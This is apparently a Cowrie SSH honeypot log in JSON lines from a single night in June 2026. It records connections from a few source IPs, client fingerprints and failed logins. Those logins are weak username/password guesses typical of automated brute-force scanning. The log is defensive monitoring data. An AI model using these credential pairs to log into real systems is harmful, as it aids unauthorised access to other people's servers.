{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49384,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf06881f9f71","protocol":"ssh","message":"New connection: 91.92.40.171:49384 (159.203.135.109:22) [session: bf06881f9f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:23.282611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:23.424733Z","src_ip":"91.92.40.171","session":"bf06881f9f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:23.933862Z","src_ip":"91.92.42.133","session":"ca40f682bc59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:24.408534Z","src_ip":"91.92.40.171","session":"bf06881f9f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:25.357746Z","src_ip":"91.92.42.133","session":"ca40f682bc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42832,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1e6d38f56f1","protocol":"ssh","message":"New connection: 91.92.40.171:42832 (159.203.135.109:22) [session: b1e6d38f56f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:27.070882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:27.116322Z","src_ip":"91.92.40.171","session":"b1e6d38f56f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:27.197458Z","src_ip":"91.92.40.171","session":"b1e6d38f56f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"root","message":"login attempt [claude/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:27.561872Z","src_ip":"91.92.40.171","session":"b1e6d38f56f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e15d501cb23","protocol":"ssh","message":"New connection: 91.92.42.133:45754 (159.203.135.109:22) [session: 5e15d501cb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:27.989080Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":34793,"dst_ip":"159.203.135.109","dst_port":22,"session":"15915b714e48","protocol":"ssh","message":"New connection: 178.20.210.208:34793 (159.203.135.109:22) [session: 15915b714e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.260836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.265682Z","src_ip":"178.20.210.208","session":"15915b714e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.363894Z","src_ip":"178.20.210.208","session":"15915b714e48","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.506505Z","src_ip":"91.92.42.133","session":"5e15d501cb23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.518395Z","src_ip":"91.92.42.133","session":"5e15d501cb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.710759Z","src_ip":"91.92.40.171","session":"b1e6d38f56f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danny","password":"danny","message":"login attempt [danny/danny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:28.749626Z","src_ip":"178.20.210.208","session":"15915b714e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:29.052011Z","src_ip":"91.92.40.171","session":"bf06881f9f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:29.853199Z","src_ip":"178.20.210.208","session":"15915b714e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:31.101600Z","src_ip":"91.92.40.171","session":"bf06881f9f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:31.143142Z","src_ip":"91.92.42.133","session":"5e15d501cb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:32.649847Z","src_ip":"91.92.42.133","session":"5e15d501cb23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42864,"dst_ip":"159.203.135.109","dst_port":22,"session":"07e18b449c48","protocol":"ssh","message":"New connection: 91.92.40.171:42864 (159.203.135.109:22) [session: 07e18b449c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:32.729257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:32.757576Z","src_ip":"91.92.40.171","session":"07e18b449c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:32.827787Z","src_ip":"91.92.40.171","session":"07e18b449c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:33.230649Z","src_ip":"91.92.40.171","session":"07e18b449c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:34.343391Z","src_ip":"91.92.40.171","session":"07e18b449c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58968,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6b3a0c35325","protocol":"ssh","message":"New connection: 91.92.42.133:58968 (159.203.135.109:22) [session: c6b3a0c35325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:35.275818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:35.882612Z","src_ip":"91.92.42.133","session":"c6b3a0c35325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:35.885956Z","src_ip":"91.92.42.133","session":"c6b3a0c35325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"!Q2w3e4r","message":"login attempt [deploy/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:37.584310Z","src_ip":"91.92.42.133","session":"c6b3a0c35325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:38.996205Z","src_ip":"91.92.42.133","session":"c6b3a0c35325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52914,"dst_ip":"159.203.135.109","dst_port":22,"session":"c60c4a6c67b8","protocol":"ssh","message":"New connection: 91.92.40.171:52914 (159.203.135.109:22) [session: c60c4a6c67b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:40.336336Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59040,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dfc783daaf5","protocol":"ssh","message":"New connection: 91.92.42.133:59040 (159.203.135.109:22) [session: 9dfc783daaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:42.351493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:42.444517Z","src_ip":"91.92.42.133","session":"9dfc783daaf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:42.446902Z","src_ip":"91.92.42.133","session":"9dfc783daaf5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:42.515774Z","src_ip":"91.92.40.171","session":"c60c4a6c67b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:42.518209Z","src_ip":"91.92.40.171","session":"c60c4a6c67b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:43.139872Z","src_ip":"91.92.42.133","session":"9dfc783daaf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52944,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d9e9937df3","protocol":"ssh","message":"New connection: 91.92.40.171:52944 (159.203.135.109:22) [session: 90d9e9937df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:43.757544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:43.806872Z","src_ip":"91.92.40.171","session":"90d9e9937df3","protocol":"ssh"}
